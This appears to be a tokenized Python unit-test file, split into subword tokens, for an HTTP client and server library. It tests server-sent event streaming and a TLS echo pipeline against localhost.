"Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Server", " ", "receiv", "ing", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "(_", "beta_", "._", "requests_", "or_", "beta_", "._", "connector_", "._", "tx", "es_", ")_", "or_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Las", "t", "-", "Event", "-", "Id", ":", " ", "4", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.0", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Past", "e", "WS", "GI", "Server", "/", "0.", "5", " ", "Pyth", "on", "/", "2.7", ".9", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "21", ":", "3", "5", ":", "25", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Connect", "ion", ":", " ", "close", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "5", "\\\\", "ndata", ":", " ", "9", "\\\\", "ndata", ":", " ", "10", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "6", "\\\\", "ndata", ":", " ", "11", "\\\\", "ndata", ":", " ", "1", "2", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Stor", "e", "Timer_", "(_", "store_", "=_", "store_", ",_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "store_", "._", "advance", "Stamp_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "timed", " ", "out", " ", "whi", "le", " ", "stream", " ", "still", " ", "open", " ", "so", " ", "no", " ", "response", "s", " ", "in", " ", ".", "responses_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "but", " ", "are", " ", "events", " ", "in", " ", ".", "events_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "events_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "respond", "ent_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "respond", "ent_", "._", "lei", "d_", ",_", "'", "6", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "beta_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "5", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "9", "\\\\", "n1", "0", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "beta_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "6", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "11", "\\\\", "n1", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Ech", "o", "Service", "Secur", "e_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", " ", "TLS", " ", "secure", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "local", "host", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple", "Secur", "e_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "pipeline", " ", "servic", "ing", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple", "Secur", "e_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "server", "Keyp", "ath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", "\\u", "key", ".", "pe", "m", "'_", "#", " ", "local", " ", "server", " ", "private", " ", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Cert", "path_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", "\\u", "cert", ".", "pe", "m", "'_", "#", " ", "local", " ", "server", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "Ca", "filepath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", ".", "pe", "m", "'_", "#", " ", "remote", " ", "client", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "client", "Keyp", "ath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", "\\u", "key", ".", "pe", "m", "'_", "#", " ", "local", " ", "client", " ", "private", " ", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "Cert", "path_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", "\\u", "cert", ".", "pe", "m", "'_", "#", " ", "local", " ", "client", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Ca", "filepath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", ".", "pe", "m", "'_", "#", " ", "remote", " ", "server", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "server", "Cert", "Common", "Name_", "=_", "'", "local", "host", "'_", "#", " ", "match", " ", "host", "name", " ", "use", "s", " ", "server", "s", "'", "s", " ", "cert", " ", "common", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server", "Tl", "s_", "(_", "host_", "=_", "server", "Cert", "Common", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "certi", "fy_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "server", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "server", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "client", "Ca", "filepath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Patr", "on", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "alpha_", "._", "eh", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "hostname_", "=_", "server", "Cert", "Common", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "scheme_", "=_", "'", "https", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "ed", "host_", "=_", "server", "Cert", "Common", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "client", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "client", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "server", "Ca", "filepath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Secur", "e_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "https", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Secur", "e_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 